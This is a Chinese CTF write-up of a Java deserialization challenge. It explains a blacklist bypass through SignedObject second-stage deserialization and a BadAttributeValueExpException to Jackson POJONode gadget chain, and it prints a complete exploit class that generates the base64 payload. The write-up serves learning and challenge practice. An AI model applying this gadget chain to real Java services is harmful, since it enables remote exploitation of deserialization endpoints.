0x01 前言

最近也不怎么看CTF了,主要是分析java和打一些渗透靶场,其实也没干多少事情。极客巅峰这个比赛本来我也是不知道的,也没有参加。比赛的时候组里的同学就发给我这一道java题,心想也算了解过一些java反序列化的东西,也没做过什么java反序列化的题目,就尝试一下吧。结果第一次听说二次反序列化,才有了下文。

0x02 题目分析

附件就是一个jar包,用jd-gui也可以拖到idea反编译一下。是一个springboot框架,逻辑也比较简单,分析一下。

先看路由:

反序列化的入口点,只不过我们需要注意的是它使用的是自定义的输入流的类MyObjectInputStream。看看这个类实现了一个怎样的逻辑

重写了resolveClass方法,里面添加了一些黑名单,里面正好有题目中的两个模板类。

就是一个读文件的功能。再看两个模板类,它们都继承了Serializable接口

URLHelper

重写了readObject方法,看来入口类就是它了。调用了任意类的visitUrl方法,并把结果写进文件里。

URLVisiter

通过指定url访问其内部资源然后返回。代码逻辑还是很好懂的。

0x03 漏洞利用分析

预期利用很简单,反序列化URLHelper类,它里面的url和visiter属性都可控,可以调用URLVisiter的visitUrl方法,通过file协议,或者访问内网地址将flag的内容读取到file文件中,然后通过file路由回显到客户端。有效代码:

URLHelper handler = new URLHelper("http://127.0.0.1:8888/flag.txt");
URLVisiter urlVisiter = new URLVisiter();
Field aaa = Class.forName("com.yancao.ctf.bean.URLHelper").getDeclaredField("visiter");
aaa.set(handler,urlVisiter);

但是在黑名单中有URLHelper的全限定名,如果你序列化的是这个类,基本上你是没法绕的。所以就要用到一种新的(对我来说)绕过技巧——二次反序列化。

二次反序列化探寻之旅

顾名思义,二次反序列化就是在服务端第一次反序列化的时候,通过某些类可以进行二次反序列化。而在第二次反序列化的时候是没有限制恶意类的,可以通过这个绕过黑名单。当然也可以用来写内存马(不太了解)

SignedObject

能够进行二次反序列化的类必然是重写了readObject方法的,也不卖关子了,就是SignedObject这个用于签名的类。看它的readObject方法

如果content属性可控,那就完美了。看它的构造方法

第一个参数就是可以序列化的类,在这个构造函数里面对它序列化,并且赋值给content属性。这就完全符合二次反序列化的条件。有效代码:

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(恶意类, privateKey, signingEngine);

用于签名的私钥等其他两个参数不需要深究,当个模板用就可以。那么如何调用getObject方法

Jackson触发getter流程分析

getObject也是一种getter方法,jackson的序列化是可以触发getter的。

到这里可能会有些疑问,为啥会扯到jackson包里面的类?pom也没有导入相关依赖啊?

确实,pom文件里只有一些spring-boot-starter,spring-framework有关的依赖

外部库中有jackson的相关jar包。因为jackson是org.springframework.boot:spring-boot-starter-test:jar:2.7.14:test的依赖,所以自然也会下载它的jar包。

回归正题,分析流程

写了两个测试类,主要功能就是用jackson序列化

package com.yancao.ctf.test;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectWriter;

public class Test1 {
public static void main(String[] args) throws JsonProcessingException {
Person person = new Person("aaa", 28);
ObjectMapper mapper = new ObjectMapper();
ObjectWriter writer = mapper.writer();
String json = writer.writeValueAsString(person);
System.out.println(json);
}
}

writeValueAsString方法就是本题用到的关键方法,跟进调试看一下

然后跟进到_writeValueAndClose里面

跟进到这个序列化函数里,后面就类似于封装了,层层调用

然后调用到最终的这个serializeFields方法,

有getter方法的调用,那么就可以通过writeValueAsString方法来调用getObject方法。

那么哪些地方可以调用writeValueAsString方法呢?

POJONode

查找用法

调用的地方很少,所以可以直接锁定这个方法,这个方法又是谁调用的呢?好像只有一处

来到了BaseJsonNode的toString方法。这个类是一个抽象类,POJONode就属于它的一个实现类。那么现在问题就变成了怎么调用toString方法。在CC5中有一个再适合不过的类了。

BadAttributeValueExpException

它是jdk自带的类,并且它还重写了readObject方法

在这个方法里面调用了toString,valObj属性值我们可以通过反射去改。那么把它当作入口的类,到此整条链分析结束。

利用链

BadAttributeValueExpException#readObject->POJONode#toString->ObjectWriter#writeValueAsString->SignedObject#getObject->二次反序列化->URLHelper#readObject->URLVisiter#visitUrl

踩坑

这里有一个坑,整条链子理顺之后写完exp运行发现是会报错的。

报了一个这样的错误,其实exp的代码是没有问题的,当时困扰了我好久,然后找到文章说是在BaseJsonNode的writeReplace方法

报错在这里

这个方法是Java序列化机制的一部分,它是在对象进行序列化时被调用的特殊方法。它的存在可以默认改变它的序列化行为,可能会偏离我们的预期结果。所以解决办法就是重写一个BaseJsonNode或者用反射删除。这里直接Copy一位师傅用反射删除writeReplace方法的代码

try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

需要导入相关依赖:

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

0x04 题目复现

java题目还是比较好的。有jar包,可以自己本地复现。

EXP

package com.yancao.ctf;

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class CtfAttack {
public static void main(String[] args) throws IOException, NoSuchAlgorithmException, SignatureException, InvalidKeyException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//恶意类
URLHelper urlHelper = new URLHelper("http://127.0.0.1:8888/flag.txt");
URLVisiter urlVisiter = new URLVisiter();
urlHelper.visiter = urlVisiter;

//用于二次反序列化的类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);

//删除 pojoNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

POJONode pojoNode = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class aaa = Class.forName("javax.management.BadAttributeValueExpException");
Field val = aaa.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, pojoNode);

//序列化
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(ser);
objectOutputStream.writeObject(badAttributeValueExpException);
System.out.println(Base64.getEncoder().encodeToString(ser.toByteArray()));
}
}

复现

D盘的tmp文件夹下有flag文件

在此目录下用python开个web服务

exp运行是一串很长的base64,get传进去会报错,则需要url编码一下。

接着访问file路由

可以读取到flag。

0x05 小结

之前没怎么做过java题,复现这道题的时候开头也确实比较迷。网上也只能找到两三个这道题的wp,一般都是直接甩个exp就没了,有的exp写的也并不是很完整,比如那个踩坑的地方。然后就网上看文章,自己用idea慢慢调。总之收获还是蛮大的。据说这道题和之前阿里云CTF的java题的思路很像。阿里云CTF的java题我也保存有附件,搭好环境在idea吃灰呢。看来得找个时间复现一下了。

另外非常感谢师傅们的文章

参考链接:

https://boogipop.com/2023/05/16/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/

https://www.viewofthai.link/2023/07/22/%e5%b7%85%e5%b3%b0%e6%9e%81%e5%ae%a2ctf-2023-%e4%b8%8a-babyurl/

https://xz.aliyun.com/t/12509